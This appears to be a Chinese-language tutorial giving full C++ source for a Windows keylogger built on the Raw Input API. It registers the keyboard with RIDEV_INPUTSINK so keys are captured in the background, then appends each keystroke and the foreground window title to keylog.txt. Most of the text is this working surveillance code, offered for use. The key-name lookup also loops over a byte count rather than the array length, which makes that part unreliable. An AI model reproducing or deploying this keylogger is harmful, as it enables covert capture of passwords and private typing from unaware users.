按键记录——利用原始输入模型

前言：

　　在用户层上，实现按键记录的方法也很多，常见的有3种方式，具体如下：

• • 利用全局键盘钩子。程序设置全局键盘钩子，从而捕获按键消息，进行记录
  • 利用GetAsyncKeyState函数。该函数可以判断按键状态，根据是否为按下状态来判断用户是否进行了按键操作，从而记录
  • 利用原始输入模型，直接从输入设备上获取数据，从而记录按键信息

　　在上述3种实现方法中，利用原始输入模型获取按键记录的方法更为底层更有效，功能也更加强大。下面就使用这种方法，默认情况下，应用程序不接收原始输入。要想接收设备原始输入WM_INPUT的消息，应用程序必须使用RegisterRawInputDevices注册原始输入设备

实现过程：

　　(1).调用RegisterRawInputDevices注册原始输入设备

　　(2).获取原始输入数据

　　(3).保存按键信息

实现代码：

// 注册原始输入设备
BOOL CFunction::Init(HWND hWnd)
{
    // 设置 RAWINPUTDEVICE 结构体信息
    RAWINPUTDEVICE rawinputDevice = { 0 };
    rawinputDevice.usUsagePage = 0x01;
    rawinputDevice.usUsage = 0x06;
    rawinputDevice.dwFlags = RIDEV_INPUTSINK;
    rawinputDevice.hwndTarget = hWnd;
    // 注册原始输入设备
    BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
    if (FALSE == bRet)
    {
        MessageBox(_T("RegisterRawInputDevices Error"));
        return FALSE;
    }
    return TRUE;
}

void CFunction::OnRawInput(UINT nInputcode, HRAWINPUT hRawInput)
{
    // 该功能要求使用 Windows XP 或更高版本。
    // 符号 _WIN32_WINNT 必须 >= 0x0501。
    // TODO: 在此添加消息处理程序代码和/或调用默认值
    GetData(hRawInput);

    CDialogEx::OnRawInput(nInputcode, hRawInput);
}

// 获取原始输入数据
BOOL CFunction::GetData(HRAWINPUT lParam)
{
    RAWINPUT rawinputData = { 0 };
    UINT uiSize = sizeof(rawinputData);
    // 获取原始输入数据的大小
    ::GetRawInputData(lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
    //如果是键盘的原始输入
    if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
    {
        // WM_KEYDOWN --> 普通按键    WM_SYSKEYDOWN --> 系统按键(指的是ALT)  
        if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
            (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
        {
            // 记录按键
            SaveKey(rawinputData.data.keyboard.VKey);
        }
    }
    return TRUE;
}

// 保存按键信息
void CFunction::SaveKey(USHORT usVKey)
{
    char szKey[MAX_PATH] = { 0 };
    char szTitle[MAX_PATH] = { 0 };
    char szText[MAX_PATH] = { 0 };
    FILE *fp = NULL;

    // 获取顶层窗口
    HWND hForegroundWnd = ::GetForegroundWindow();

    // 获取顶层窗口的标题
    ::GetWindowTextA(hForegroundWnd, szTitle, 256);

    // 将虚拟键码转换成对应的ASCII码
    ::strcpy_s(szKey, GetKeyName(usVKey));

    // 构造按键记录信息字符串
    ::sprintf_s(szText, "[%s] %s\r\n", szTitle, szKey);

    // 打开文件写入按键记录数据
    ::fopen_s(&fp, "keylog.txt", "a+");

    if (NULL == fp)
    {
        MessageBox(_T("fopen_s"));
        return;
    }

    ::fwrite(szText, (1 + ::strlen(szText)), 1, fp);
    ::fclose(fp);
}

 

#pragma once
#ifndef _VIRTUAL_KEY_TO_ASCII_
#define _VIRTUAL_KEY_TO_ASCII_

#include <windows.h>

struct VKeyInfo {
    USHORT VKey;
    LPCSTR VKname;
};


#define AddVKey(VK, VKName)   {(VK), (VKName)}

// 辛辛苦苦从MSDN上摘录下来，VK的值从0x01 - 0xFE,如果编译器发现未定义的项目，直接换成对应的值就可以了.
static VKeyInfo vkis[] = {
        AddVKey(VK_LBUTTON, "Left mouse button"),
        AddVKey(VK_RBUTTON, "Right mouse button"),
        AddVKey(VK_CANCEL, "Control-break processing"),
        AddVKey(0x04, "Middle mouse button (three-button mouse)"),
        AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
        AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
        AddVKey(0x07, "Undefined"),
        AddVKey(VK_BACK, "BACKSPACE key"),
        AddVKey(VK_TAB, "TAB key"),
        AddVKey(0x0A, "Reserved"),
        AddVKey(0x0B, "Reserved"),
        AddVKey(VK_CLEAR, "CLEAR key"),
        AddVKey(VK_RETURN, "ENTER key"),
        AddVKey(0x0E, "Undefined"),
        AddVKey(0x0F, "Undefined"),
        AddVKey(VK_SHIFT, "SHIFT key"),
        AddVKey(VK_CONTROL, "CTRL key"),
        AddVKey(VK_MENU, "ALT key"),
        AddVKey(VK_PAUSE, "PAUSE key"),
        AddVKey(VK_CAPITAL, "CAPS LOCK key"),
        AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
        AddVKey(VK_HANGUL, "IME Hangul mode"),
        AddVKey(0x16, "Undefined"),
        AddVKey(VK_JUNJA, "IME Junja mode"),
        AddVKey(VK_FINAL, "IME final mode"),
        AddVKey(VK_HANJA, "IME Hanja mode"),
        AddVKey(VK_KANJI, "IME Kanji mode"),
        AddVKey(0x1A, "Undefined"),
        AddVKey(VK_ESCAPE, "ESC key"),
        AddVKey(VK_CONVERT, "IME convert"),
        AddVKey(VK_NONCONVERT, "IME nonconvert"),
        AddVKey(VK_ACCEPT, "IME accept"),
        AddVKey(VK_MODECHANGE, "IME mode change request"),
        AddVKey(VK_SPACE, "SPACEBAR"),
        AddVKey(VK_PRIOR, "PAGE UP key"),
        AddVKey(VK_NEXT, "PAGE DOWN key"),
        AddVKey(VK_END, "END key"),
        AddVKey(VK_HOME, "HOME key"),
        AddVKey(VK_LEFT, "LEFT ARROW key"),
        AddVKey(VK_UP, "UP ARROW key"),
        AddVKey(VK_RIGHT, "RIGHT ARROW key"),
        AddVKey(VK_DOWN, "DOWN ARROW key"),
        AddVKey(VK_SELECT, "SELECT key"),
        AddVKey(VK_PRINT, "PRINT key"),
        AddVKey(VK_EXECUTE, "EXECUTE key"),
        AddVKey(VK_SNAPSHOT, "PRINT SCREEN key"),
        AddVKey(VK_INSERT, "INSERT key"),
        AddVKey(VK_DELETE, "DEL key"),
        AddVKey(VK_HELP, "HELP key"),
        AddVKey(0x30, "0"),
        AddVKey(0x31, "1"),
        AddVKey(0x32, "2"),
        AddVKey(0x33, "3"),
        AddVKey(0x34, "4"),
        AddVKey(0x35, "5"),
        AddVKey(0x36, "6"),
        AddVKey(0x37, "7"),
        AddVKey(0x38, "8"),
        AddVKey(0x39, "9"),
        AddVKey(0x3A, "Undefined"),
        AddVKey(0x3B, "Undefined"),
        AddVKey(0x3C, "Undefined"),
        AddVKey(0x3D, "Undefined"),
        AddVKey(0x3E, "Undefined"),
        AddVKey(0x3F, "Undefined"),
        AddVKey(0x40, "Undefined"),
        AddVKey(0x41, "A"),
        AddVKey(0x42, "B"),
        AddVKey(0x43, "C"),
        AddVKey(0x44, "D"),
        AddVKey(0x45, "E"),
        AddVKey(0x46, "F"),
        AddVKey(0x47, "G"),
        AddVKey(0x48, "H"),
        AddVKey(0x49, "I"),
        AddVKey(0x4A, "J"),
        AddVKey(0x4B, "K"),
        AddVKey(0x4C, "L"),
        AddVKey(0x4D, "M"),
        AddVKey(0x4E, "N"),
        AddVKey(0x4F, "O"),
        AddVKey(0x50, "P"),
        AddVKey(0x51, "Q"),
        AddVKey(0x52, "R"),
        AddVKey(0x53, "S"),
        AddVKey(0x54, "T"),
        AddVKey(0x55, "U"),
        AddVKey(0x56, "V"),
        AddVKey(0x57, "W"),
        AddVKey(0x58, "X"),
        AddVKey(0x59, "Y"),
        AddVKey(0x5A, "Z"),
        AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
        AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
        AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
        AddVKey(0x5E, "Reserved"),
        AddVKey(VK_SLEEP, "Computer Sleep key"),
        AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"),
        AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
        AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
        AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
        AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
        AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
        AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
        AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
        AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
        AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
        AddVKey(VK_MULTIPLY, "Multiply key"),
        AddVKey(VK_ADD, "Add key"),
        AddVKey(VK_SEPARATOR, "Separator key"),
        AddVKey(VK_SUBTRACT, "Subtract key"),
        AddVKey(VK_DECIMAL, "Decimal key"),
        AddVKey(VK_DIVIDE, "Divide key"),
        AddVKey(VK_F1, "F1 key"),
        AddVKey(VK_F2, "F2 key"),
        AddVKey(VK_F3, "F3 key"),
        AddVKey(VK_F4, "F4 key"),
        AddVKey(VK_F5, "F5 key"),
        AddVKey(VK_F6, "F6 key"),
        AddVKey(VK_F7, "F7 key"),
        AddVKey(VK_F8, "F8 key"),
        AddVKey(VK_F9, "F9 key"),
        AddVKey(VK_F10, "F10 key"),
        AddVKey(VK_F11, "F11 key"),
        AddVKey(VK_F12, "F12 key"),
        AddVKey(VK_F13, "F13 key"),
        AddVKey(VK_F14, "F14 key"),
        AddVKey(VK_F15, "F15 key"),
        AddVKey(VK_F16, "F16 key"),
        AddVKey(VK_F17, "F17 key"),
        AddVKey(VK_F18, "F18 key"),
        AddVKey(VK_F19, "F19 key"),
        AddVKey(VK_F20, "F20 key"),
        AddVKey(VK_F21, "F21 key"),
        AddVKey(VK_F22, "F22 key"),
        AddVKey(VK_F23, "F23 key"),
        AddVKey(VK_F24, "F24 key"),
        AddVKey(0x88, "Unassigned"),
        AddVKey(0x89, "Unassigned"),
        AddVKey(0x8A, "Unassigned"),
        AddVKey(0x8B, "Unassigned"),
        AddVKey(0x8C, "Unassigned"),
        AddVKey(0x8D, "Unassigned"),
        AddVKey(0x8E, "Unassigned"),
        AddVKey(0x8F, "Unassigned"),
        AddVKey(VK_NUMLOCK, "NUM LOCK key"),
        AddVKey(VK_SCROLL, "SCROLL LOCK key"),
        AddVKey(0x92, "OEM specific"),
        AddVKey(0x93, "OEM specific"),
        AddVKey(0x94, "OEM specific"),
        AddVKey(0x95, "OEM specific"),
        AddVKey(0x96, "OEM specific"),
        AddVKey(0x97, "Unassigned"),
        AddVKey(0x98, "Unassigned"),
        AddVKey(0x99, "Unassigned"),
        AddVKey(0x9A, "Unassigned"),
        AddVKey(0x9B, "Unassigned"),
        AddVKey(0x9C, "Unassigned"),
        AddVKey(0x9D, "Unassigned"),
        AddVKey(0x9E, "Unassigned"),
        AddVKey(0x9F, "Unassigned"),
        AddVKey(VK_LSHIFT, "Left SHIFT key"),
        AddVKey(VK_RSHIFT, "Right SHIFT key"),
        AddVKey(VK_LCONTROL, "Left CONTROL key"),
        AddVKey(VK_RCONTROL, "Right CONTROL key"),
        AddVKey(VK_LMENU, "Left MENU key"),
        AddVKey(VK_RMENU, "Right MENU key"),
        AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
        AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
        AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
        AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
        AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
        AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
        AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
        AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
        AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
        AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
        AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
        AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
        AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
        AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
        AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
        AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
        AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
        AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
        AddVKey(0xB8, "Reserved"),
        AddVKey(0xB9, "Reserved"),

        AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \';:\' key"),
        AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"),
        AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"),
        AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"),
        AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"),

        AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \'/?\' key"),

        AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \'`~\' key"),

        AddVKey(0xC1, "Reserved"),
        AddVKey(0xC2, "Reserved"),
        AddVKey(0xC3, "Reserved"),
        AddVKey(0xC4, "Reserved"),
        AddVKey(0xC5, "Reserved"),
        AddVKey(0xC6, "Reserved"),
        AddVKey(0xC7, "Reserved"),
        AddVKey(0xC8, "Reserved"),
        AddVKey(0xC9, "Reserved"),
        AddVKey(0xCA, "Reserved"),
        AddVKey(0xCB, "Reserved"),
        AddVKey(0xCC, "Reserved"),
        AddVKey(0xCD, "Reserved"),
        AddVKey(0xCE, "Reserved"),
        AddVKey(0xCF, "Reserved"),
        AddVKey(0xD0, "Reserved"),
        AddVKey(0xD1, "Reserved"),
        AddVKey(0xD2, "Reserved"),
        AddVKey(0xD3, "Reserved"),
        AddVKey(0xD4, "Reserved"),
        AddVKey(0xD5, "Reserved"),
        AddVKey(0xD6, "Reserved"),
        AddVKey(0xD7, "Reserved"),
        AddVKey(0xD8, "Unassigned"),
        AddVKey(0xD9, "Unassigned"),
        AddVKey(0xDA, "Unassigned"),

        AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \'[{\' key"),

        AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"),

        AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \']}\' key"),
        
        AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"),

        AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."),
        AddVKey(0xE0, "Reserved"),
        AddVKey(0xE1, "OEM specific"),
        AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
        AddVKey(0xE3, "OEM specific"),
        AddVKey(0xE4, "OEM specific"),
        AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
        AddVKey(0xE6, "OEM specific"),
        AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
        AddVKey(0xE8, "Unassigned"),
        AddVKey(0xE9, "OEM specific"),
        AddVKey(0xEA, "OEM specific"),
        AddVKey(0xEB, "OEM specific"),
        AddVKey(0xEC, "OEM specific"),
        AddVKey(0xED, "OEM specific"),
        AddVKey(0xEF, "OEM specific"),
        AddVKey(0xF0, "OEM specific"),
        AddVKey(0xF1, "OEM specific"),
        AddVKey(0xF2, "OEM specific"),
        AddVKey(0xF3, "OEM specific"),
        AddVKey(0xF4, "OEM specific"),
        AddVKey(0xF5, "OEM specific"),
        AddVKey(VK_ATTN, "Attn key"),
        AddVKey(VK_CRSEL, "CrSel key"),
        AddVKey(VK_EXSEL, "ExSel key"),
        AddVKey(VK_EREOF, "Erase EOF key"),
        AddVKey(VK_PLAY, "Play key"),
        AddVKey(VK_ZOOM, "Zoom key"),
        AddVKey(VK_NONAME, "Reserved"),
        AddVKey(VK_PA1, "PA1 key"),
        AddVKey(VK_OEM_CLEAR, "Clear key"),
        AddVKey(0xFF, "Unknown Virtual-Key Code")
};

LPCSTR GetKeyName(USHORT VKey)
{
    int i = 0;
    for (i = 0; i < sizeof(vkis); i++)
    {
        if (VKey == vkis[i].VKey)
            return vkis[i].VKname;
    }
    return vkis[--i].VKname;
}

#endif